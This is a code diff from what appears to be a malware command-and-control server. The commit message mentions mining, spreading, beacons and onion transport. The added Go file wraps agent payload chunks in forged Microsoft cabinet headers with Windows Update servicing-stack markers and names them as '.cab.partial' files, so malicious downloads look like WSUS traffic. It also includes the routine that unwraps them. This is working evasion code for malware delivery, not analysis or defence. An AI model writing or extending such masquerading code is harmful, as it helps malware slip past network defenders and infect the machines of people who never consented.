Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/api/wsus_format_mimic.go

@@ -0,0 +1,69 @@
+package api
+
+import (
+	"bytes"
+	"encoding/binary"
+	"fmt"
+	"strings"
+)
+
+const (
+	wsusSSUEnvelopeTag  = "AFWSU1\x00"
+	wsusSSUMetadataSize = 96
+)
+
+// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
+func wrapWSUSChunkPayload(payload []byte) []byte {
+	meta := make([]byte, wsusSSUMetadataSize)
+	copy(meta[0:4], "MSCF")
+	total := uint32(wsusSSUMetadataSize + 4 + len(payload))
+	binary.LittleEndian.PutUint32(meta[8:12], total)
+	binary.LittleEndian.PutUint16(meta[16:18], 1)
+	binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
+	copy(meta[36:44], "SSU2024\x00")
+	copy(meta[44:52], "WU-CACHE")
+	copy(meta[80:88], ".partial")
+	tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
+	copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
+	binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
+	out := make([]byte, 0, len(meta)+len(payload))
+	out = append(out, meta...)
+	out = append(out, payload...)
+	return out
+}
+
+func wsusFormatMimicChunkName(contentHash string, index int) string {
+	h := strings.ToLower(strings.TrimSpace(contentHash))
+	if len(h) < 32 {
+		h = strings.Repeat("0", 32-len(h)) + h
+	}
+	guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
+	if index > 0 {
+		return fmt.Sprintf("%s-%d.cab.partial", guid, index)
+	}
+	return guid + ".cab.partial"
+}
+
+func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
+	if len(data) < wsusSSUMetadataSize+1 {
+		return nil, fmt.Errorf("wsus ssu envelope too short")
+	}
+	if !bytes.HasPrefix(data, []byte("MSCF")) {
+		return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
+	}
+	tag := []byte(wsusSSUEnvelopeTag)
+	idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
+	if idx < 0 {
+		return nil, fmt.Errorf("wsus ssu envelope tag not found")
+	}
+	off := idx + len(tag)
+	if off+4 > wsusSSUMetadataSize {
+		return nil, fmt.Errorf("wsus ssu envelope length truncated")
+	}
+	n := binary.LittleEndian.Uint32(data[off : off+4])
+	start := wsusSSUMetadataSize
+	if int(n) < 0 || start+int(n) > len(data) {
+		return nil, fmt.Errorf("wsus ssu payload length invalid")
+	}
+	return data[start : start+int(n)], nil
+}